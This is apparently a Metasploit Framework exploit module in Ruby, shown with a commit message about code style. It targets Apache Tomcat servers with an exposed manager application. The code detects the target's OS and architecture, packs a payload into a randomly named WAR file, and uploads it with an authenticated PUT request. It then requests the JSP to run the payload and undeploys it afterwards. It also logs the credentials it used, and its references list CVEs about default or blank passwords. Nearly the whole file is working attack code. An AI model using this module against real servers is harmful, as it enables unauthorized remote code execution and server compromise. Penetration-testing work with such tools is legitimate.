c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
321 lines
8.8 KiB
Ruby
321 lines
8.8 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
|
|
'Description' => %q{
|
|
This module can be used to execute a payload on Apache Tomcat servers that
|
|
have an exposed "manager" application. The payload is uploaded as a WAR archive
|
|
containing a jsp application using a PUT request.
|
|
|
|
The manager application can also be abused using /manager/html/upload, but that
|
|
method is not implemented in this module.
|
|
|
|
NOTE: The compatible payload sets vary based on the selected target. For
|
|
example, you must select the Windows target to use native Windows payloads.
|
|
},
|
|
'Author' => [ 'jduck' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
# There is no single vulnerability associated with deployment functionality.
|
|
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
|
|
|
|
# The following references refer to HP Operations Manager
|
|
[ 'CVE', '2009-3843' ],
|
|
[ 'OSVDB', '60317' ],
|
|
[ 'CVE', '2009-4189' ],
|
|
[ 'OSVDB', '60670' ],
|
|
|
|
# HP Operations Dashboard
|
|
[ 'CVE', '2009-4188' ],
|
|
|
|
# IBM Cognos Express Default user/pass
|
|
[ 'BID', '38084' ],
|
|
[ 'CVE', '2010-0557' ],
|
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
|
|
|
|
# IBM Rational Quality Manager and Test Lab Manager
|
|
[ 'CVE', '2010-4094' ],
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
|
|
|
|
# 'admin' password is blank in default Windows installer
|
|
[ 'CVE', '2009-3548' ],
|
|
[ 'OSVDB', '60176' ],
|
|
[ 'BID', '36954' ],
|
|
|
|
# tomcat docs
|
|
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
|
|
],
|
|
'Platform' => %w{ java linux win }, # others?
|
|
'Targets' =>
|
|
[
|
|
#
|
|
# detect via /manager/serverinfo
|
|
#
|
|
# do target detection but java meter by default
|
|
[ 'Automatic',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
}
|
|
],
|
|
[ 'Java Universal',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
},
|
|
],
|
|
|
|
#
|
|
# Platform specific targets only
|
|
#
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
},
|
|
],
|
|
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Nov 09 2009'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
# /cognos_express/manager/ for Cognos Express (19300)
|
|
OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
res = query_serverinfo
|
|
disconnect
|
|
return CheckCode::Unknown if res.nil?
|
|
if (res.code.between?(400, 499))
|
|
print_error("Server rejected the credentials")
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
report_auth_info(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:sname => (ssl ? "https" : "http"),
|
|
:user => datastore['USERNAME'],
|
|
:pass => datastore['PASSWORD'],
|
|
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
|
:active => true
|
|
)
|
|
|
|
print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
def auto_target
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
res = query_serverinfo()
|
|
return nil if not res
|
|
|
|
plat = detect_platform(res.body)
|
|
arch = detect_arch(res.body)
|
|
|
|
# No arch or platform found?
|
|
if (not arch or not plat)
|
|
return nil
|
|
end
|
|
|
|
# see if we have a match
|
|
targets.each { |t|
|
|
if (t['Platform'] == plat) and (t['Arch'] == arch)
|
|
return t
|
|
end
|
|
}
|
|
|
|
# no matching target found
|
|
return nil
|
|
end
|
|
|
|
|
|
def exploit
|
|
mytarget = target
|
|
if (target.name =~ /Automatic/)
|
|
mytarget = auto_target
|
|
if (not mytarget)
|
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
|
end
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
else
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
|
end
|
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
|
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
|
|
|
|
# Generate the WAR containing the EXE containing the payload
|
|
jsp_name = rand_text_alphanumeric(4+rand(32-4))
|
|
app_base = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
# Generate the WAR containing the payload
|
|
war = p.encoded_war({
|
|
:app_name => app_base,
|
|
:jsp_name => jsp_name,
|
|
:arch => mytarget.arch,
|
|
:platform => mytarget.platform
|
|
}).to_s
|
|
|
|
query_str = "?path=/" + app_base
|
|
|
|
#
|
|
# UPLOAD
|
|
#
|
|
path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str
|
|
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
|
|
res = send_request_cgi({
|
|
'uri' => path_tmp,
|
|
'method' => 'PUT',
|
|
'ctype' => 'application/octet-stream',
|
|
'data' => war,
|
|
}, 20)
|
|
if (! res)
|
|
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
|
|
end
|
|
if (res.code < 200 or res.code >= 300)
|
|
case res.code
|
|
when 401
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
|
end
|
|
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
|
end
|
|
|
|
report_auth_info(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:sname => (ssl ? "https" : "http"),
|
|
:user => datastore['USERNAME'],
|
|
:pass => datastore['PASSWORD'],
|
|
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
|
:active => true
|
|
)
|
|
|
|
#
|
|
# EXECUTE
|
|
#
|
|
jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
print_status("Executing #{jsp_path}...")
|
|
res = send_request_cgi({
|
|
'uri' => jsp_path,
|
|
'method' => 'GET'
|
|
}, 20)
|
|
|
|
if (! res)
|
|
print_error("Execution failed on #{app_base} [No Response]")
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
|
|
vprint_status(res.body)
|
|
end
|
|
|
|
#
|
|
# DELETE
|
|
#
|
|
path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str
|
|
print_status("Undeploying #{app_base} ...")
|
|
res = send_request_cgi({
|
|
'uri' => path_tmp,
|
|
'method' => 'GET'
|
|
}, 20)
|
|
if (! res)
|
|
print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]")
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
|
|
end
|
|
|
|
handler
|
|
end
|
|
|
|
def query_serverinfo()
|
|
path = normalize_uri(datastore['PATH'], '/serverinfo')
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => path
|
|
}, 10)
|
|
|
|
if (not res) or (res.code != 200)
|
|
print_error("Failed: Error requesting #{path}")
|
|
return nil
|
|
end
|
|
|
|
vprint_status(res.body)
|
|
|
|
return res
|
|
end
|
|
|
|
def detect_platform(body = nil)
|
|
if not body
|
|
res = query_serverinfo()
|
|
return nil if not res
|
|
body = res.body
|
|
end
|
|
|
|
body.each_line { |ln|
|
|
ln.chomp!
|
|
|
|
case ln
|
|
when /OS Name: /
|
|
os = ln.split(':')[1]
|
|
case os
|
|
when /Windows/
|
|
return 'win'
|
|
|
|
when /Linux/
|
|
return 'linux'
|
|
|
|
end
|
|
end
|
|
}
|
|
end
|
|
|
|
def detect_arch(body)
|
|
body.each_line { |ln|
|
|
ln.chomp!
|
|
|
|
case ln
|
|
when /OS Architecture: /
|
|
ar = ln.split(':')[1].strip
|
|
case ar
|
|
when 'x86', 'i386', 'i686'
|
|
return ARCH_X86
|
|
|
|
when 'x86_64', 'amd64'
|
|
return ARCH_X86
|
|
|
|
end
|
|
end
|
|
}
|
|
end
|
|
|
|
end
|